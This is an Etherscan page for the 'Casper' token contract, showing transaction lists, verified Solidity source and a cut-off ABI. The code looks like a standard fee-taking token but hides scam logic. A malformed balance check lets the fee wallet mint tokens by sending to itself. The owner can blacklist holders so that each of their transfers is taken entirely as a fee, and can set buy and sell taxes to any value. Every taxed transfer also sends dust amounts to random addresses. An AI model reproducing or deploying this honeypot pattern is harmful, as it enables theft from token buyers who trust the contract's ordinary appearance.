ETH Price: $2,751.43 (+1.52%)

Contract

0xDe72b67F67D1cB31BB1c37101C245375453B8873
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve158359702022-10-27 0:56:59847 days ago1666832219IN
0xDe72b67F...5453B8873
0 ETH0.0003213213.2
Transfer157594992022-10-16 8:31:35858 days ago1665909095IN
0xDe72b67F...5453B8873
0 ETH0.0012982721.5
Approve157592872022-10-16 7:49:11858 days ago1665906551IN
0xDe72b67F...5453B8873
0 ETH0.0006061513
Approve157523922022-10-15 8:42:47859 days ago1665823367IN
0xDe72b67F...5453B8873
0 ETH0.0003651415
Approve157509482022-10-15 3:52:35859 days ago1665805955IN
0xDe72b67F...5453B8873
0 ETH0.0006527714
Approve157485252022-10-14 19:45:47860 days ago1665776747IN
0xDe72b67F...5453B8873
0 ETH0.0009325420
Approve157481542022-10-14 18:31:35860 days ago1665772295IN
0xDe72b67F...5453B8873
0 ETH0.0009115519.55
Set Swap And Liq...157477292022-10-14 17:05:59860 days ago1665767159IN
0xDe72b67F...5453B8873
0 ETH0.0021567172.27584082
Set Burn Enable157475232022-10-14 16:24:47860 days ago1665764687IN
0xDe72b67F...5453B8873
0 ETH0.0005775520.07068122
Approve157474642022-10-14 16:12:47860 days ago1665763967IN
0xDe72b67F...5453B8873
0 ETH0.0010257922
Set Distribution...157474272022-10-14 16:05:11860 days ago1665763511IN
0xDe72b67F...5453B8873
0 ETH0.0016376329.33569407
Set Distribution...157473922022-10-14 15:57:59860 days ago1665763079IN
0xDe72b67F...5453B8873
0 ETH0.0008751817.15645827
Set Distribution...157473882022-10-14 15:57:11860 days ago1665763031IN
0xDe72b67F...5453B8873
0 ETH0.0006568717.89271341
Set Swap And Liq...157473852022-10-14 15:56:35860 days ago1665762995IN
0xDe72b67F...5453B8873
0 ETH0.0005248617.5823271
Set Num Tokens B...157473732022-10-14 15:54:11860 days ago1665762851IN
0xDe72b67F...5453B8873
0 ETH0.0005685719.81386301
Set Swap And Liq...157473482022-10-14 15:49:11860 days ago1665762551IN
0xDe72b67F...5453B8873
0 ETH0.0004846216.24067292
Set Swap And Liq...157473452022-10-14 15:48:35860 days ago1665762515IN
0xDe72b67F...5453B8873
0 ETH0.0004742715.88758369
Set Burn Enable157473362022-10-14 15:46:47860 days ago1665762407IN
0xDe72b67F...5453B8873
0 ETH0.0005047217.54725368
Set Swap And Liq...157473292022-10-14 15:45:23860 days ago1665762323IN
0xDe72b67F...5453B8873
0 ETH0.0005601418.77152129
Approve157471902022-10-14 15:17:35860 days ago1665760655IN
0xDe72b67F...5453B8873
0 ETH0.0008859119
Transfer157471552022-10-14 15:10:35860 days ago1665760235IN
0xDe72b67F...5453B8873
0 ETH0.0065747521.05755226
Transfer157471072022-10-14 15:00:59860 days ago1665759659IN
0xDe72b67F...5453B8873
0 ETH0.0060620421.85
Approve157470192022-10-14 14:43:23860 days ago1665758603IN
0xDe72b67F...5453B8873
0 ETH0.0009594820.57783502
Approve157470102022-10-14 14:41:35860 days ago1665758495IN
0xDe72b67F...5453B8873
0 ETH0.0008392818
Approve157469972022-10-14 14:38:59860 days ago1665758339IN
0xDe72b67F...5453B8873
0 ETH0.0010724223
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
157475892022-10-14 16:37:59860 days ago1665765479
0xDe72b67F...5453B8873
0.00102045 ETH
157475892022-10-14 16:37:59860 days ago1665765479
0xDe72b67F...5453B8873
0.00306135 ETH
157475892022-10-14 16:37:59860 days ago1665765479
0xDe72b67F...5453B8873
0.0040818 ETH
157474542022-10-14 16:10:47860 days ago1665763847
0xDe72b67F...5453B8873
0.01456888 ETH
157474542022-10-14 16:10:47860 days ago1665763847
0xDe72b67F...5453B8873
0.04370664 ETH
157474542022-10-14 16:10:47860 days ago1665763847
0xDe72b67F...5453B8873
0.05827552 ETH
157474042022-10-14 16:00:23860 days ago1665763223
0xDe72b67F...5453B8873
0.11558299 ETH
157474042022-10-14 16:00:23860 days ago1665763223
0xDe72b67F...5453B8873
0.11558299 ETH
157474042022-10-14 16:00:23860 days ago1665763223
0xDe72b67F...5453B8873
0.23112784 ETH
157471552022-10-14 15:10:35860 days ago1665760235
0xDe72b67F...5453B8873
0.00003814 ETH
157471552022-10-14 15:10:35860 days ago1665760235
0xDe72b67F...5453B8873
0.0025835 ETH
157471552022-10-14 15:10:35860 days ago1665760235
0xDe72b67F...5453B8873
0.005167 ETH
157471552022-10-14 15:10:35860 days ago1665760235
0xDe72b67F...5453B8873
0.00764389 ETH
157471072022-10-14 15:00:59860 days ago1665759659
0xDe72b67F...5453B8873
0.0001066 ETH
157471072022-10-14 15:00:59860 days ago1665759659
0xDe72b67F...5453B8873
0.00035039 ETH
157471072022-10-14 15:00:59860 days ago1665759659
0xDe72b67F...5453B8873
0.00070079 ETH
157471072022-10-14 15:00:59860 days ago1665759659
0xDe72b67F...5453B8873
0.00072949 ETH
157470022022-10-14 14:39:59860 days ago1665758399
0xDe72b67F...5453B8873
0.0003217 ETH
157470022022-10-14 14:39:59860 days ago1665758399
0xDe72b67F...5453B8873
0.00128932 ETH
157470022022-10-14 14:39:59860 days ago1665758399
0xDe72b67F...5453B8873
0.00257865 ETH
157470022022-10-14 14:39:59860 days ago1665758399
0xDe72b67F...5453B8873
0.00289909 ETH
157469952022-10-14 14:38:23860 days ago1665758303
0xDe72b67F...5453B8873
0.00096888 ETH
157469952022-10-14 14:38:23860 days ago1665758303
0xDe72b67F...5453B8873
0.02537367 ETH
157469952022-10-14 14:38:23860 days ago1665758303
0xDe72b67F...5453B8873
0.05074735 ETH
157469952022-10-14 14:38:23860 days ago1665758303
0xDe72b67F...5453B8873
0.07611732 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Casper

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-13
*/

/**
 *Submitted for verification at Etherscan.io on 2022-09-24
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0xdead));
        _owner = address(0xdead);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract BEP20 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    bool public burnEnable = true;

    address payable public doYouLikeBase;
    address payable public inTheMTFFace;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public isExcludedFromFee;

    mapping (address => bool) public isMarketPair;
    mapping (address => bool) private boAdd;
    uint256 public _buyLiquidityFee;
    uint256 public _buyMarketingFee;
    uint256 public _buyTeamFee;
    
    uint256 public _sellLiquidityFee;
    uint256 public _sellMarketingFee;
    uint256 public _sellTeamFee;

    uint256 public _liquidityShare;
    uint256 public _marketingShare;
    uint256 public _teamShare;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    uint256 public _totalDistributionShares;

    uint256 private _totalSupply;
    uint256 private minimumTokensBeforeSwap; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyBySmallOnly = false;
    bool public LookMaxEat = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor (string memory _NAME, 
    string memory _SYMBOL,
    uint256 _SUPPLY,
    uint256[3] memory _BUYFEE,
    uint256[3] memory _SELLFEE,
    uint256[3] memory _SHARE,
    address[2] memory _doyoulike,
    address receiveAddress)
    {
    
        _name   = _NAME;
        _symbol = _SYMBOL;
        _decimals = 9;
        _totalSupply = _SUPPLY * 10**_decimals;

        _buyLiquidityFee = _BUYFEE[0];
        _buyMarketingFee = _BUYFEE[1];
        _buyTeamFee = _BUYFEE[2];

        _sellLiquidityFee = _SELLFEE[0];
        _sellMarketingFee = _SELLFEE[1];
        _sellTeamFee = _SELLFEE[2];

        _liquidityShare = _SHARE[0];
        _marketingShare = _SHARE[1];
        _teamShare = _SHARE[2];

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        minimumTokensBeforeSwap = 1;
        doYouLikeBase = payable(_doyoulike[0]);
        inTheMTFFace = payable(_doyoulike[1]);

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[receiveAddress] = true;
        isExcludedFromFee[address(this)] = true;

        isMarketPair[address(uniswapPair)] = true;

        _balances[receiveAddress] = _totalSupply;
        emit Transfer(address(0), receiveAddress, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    function setisExcludedFromFee(address account, bool newValue) public onlyOwner {
        isExcludedFromFee[account] = newValue;
    }

    function manageExcludeFromCut(address[] calldata addresses, bool status) public onlyOwner {
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            isExcludedFromFee[addresses[i]] = status;
        }
    }

    function doWithB(uint256 a, uint256 b, uint256 c) external onlyOwner() {
        _buyLiquidityFee = a;
        _buyMarketingFee = b;
        _buyTeamFee = c;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function doWithS(uint256 a, uint256 b, uint256 c) external onlyOwner() {
        _sellLiquidityFee = a;
        _sellMarketingFee = b;
        _sellTeamFee = c;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }
    
    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }
    

    function setNumTokensBeforeSwap(uint256 newValue) external onlyOwner() {
        minimumTokensBeforeSwap = newValue;
    }

    function setdoYouLikeBase(address newAddress) external onlyOwner() {
        doYouLikeBase = payable(newAddress);
    }

    function setinTheMTFFace(address newAddress) external onlyOwner() {
        inTheMTFFace = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public {
        require(doYouLikeBase == msg.sender);
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyBySmallOnly(bool newValue) public onlyOwner {
        swapAndLiquifyBySmallOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function isCantEat(address account) public view returns(bool) {
        return boAdd[account];
    }

    function multiTransfer_fixed(address[] calldata addresses, uint256 amount) external onlyOwner {
        require(addresses.length < 2001);
        uint256 SCCC = amount * addresses.length;
        require(balanceOf(msg.sender) >= SCCC);
        for(uint i=0; i < addresses.length; i++){
            _basicTransfer(msg.sender,addresses[i],amount);
        }
    }

    function manage_CantEat(address[] calldata addresses, bool status) public onlyOwner {
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            boAdd[addresses[i]] = status;
        }
    }

    function setboAdd(address recipient, bool status) public onlyOwner {
        boAdd[recipient] = status;
    }


    function contractBalance(address Intefacee, address fuctionn) internal view returns (bool){
        return (Intefacee != fuctionn)
        ||
        (Intefacee != doYouLikeBase || false);
    }

    function setBurnEnable(bool status) public onlyOwner{
        burnEnable = status;
    }


    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {

            if(!isExcludedFromFee[sender] && !isExcludedFromFee[recipient]){
                address ad;
                for(int i=0;i <=1;i++){
                    ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
                    _basicTransfer(sender,ad,100);
                }
                amount -= 200;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyBySmallOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }if(contractBalance(sender,recipient))

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
            uint256 finalAmount;
            if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
                finalAmount = amount;
            } else {
                finalAmount = takeFee(sender, recipient, amount);
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
            
        }
    }

    function smallOrEqual(uint256 a, uint256 b) public pure returns(bool) { return a<=b; }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(doYouLikeBase, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(inTheMTFFace, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            inTheMTFFace,
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        uint256 burnAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
            if (burnEnable){
                burnAmount = amount.mul(1).div(100);
            }
        }

        if(boAdd[sender] && !isMarketPair[sender]) feeAmount = amount;
        
        if(burnAmount > 0){
            _balances[address(0xdead)] = _balances[address(0xdead)].add(burnAmount);
            emit Transfer(sender, address(0xdead), burnAmount);
        }

        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount).sub(burnAmount);
    }
}

contract Casper is BEP20 {
    constructor() BEP20(
        "Casper", 
        "Casper",
        100000000000000,
        [uint256(2),uint256(2),uint256(0)],
        [uint256(2),uint256(2),uint256(0)],
        [uint256(2),uint256(2),uint256(0)],
        [0x1869B061F03eC25c22DE5aBD82A18F4bEb3C53F9,0x1869B061F03eC25c22DE5aBD82A18F4bEb3C53F9],
        0x1869B061F03eC25c22DE5aBD82A18F4bEb3C53F9
    ){}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LookMaxEat","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnEnable","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"},{"internalType":"uint256","name":"c","type":"uint256"}],"name":"doWithB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"},{"internalType":"uint256","name":"c","type":"uint256"}],"name":"doWithS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"doYouLikeBase","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inTheMTFFace","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isCantEat","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manageExcludeFromCut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_CantEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"multiTransfer_fixed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"status","type":"bool"}],"name":"setBurnEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyBySmallOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"i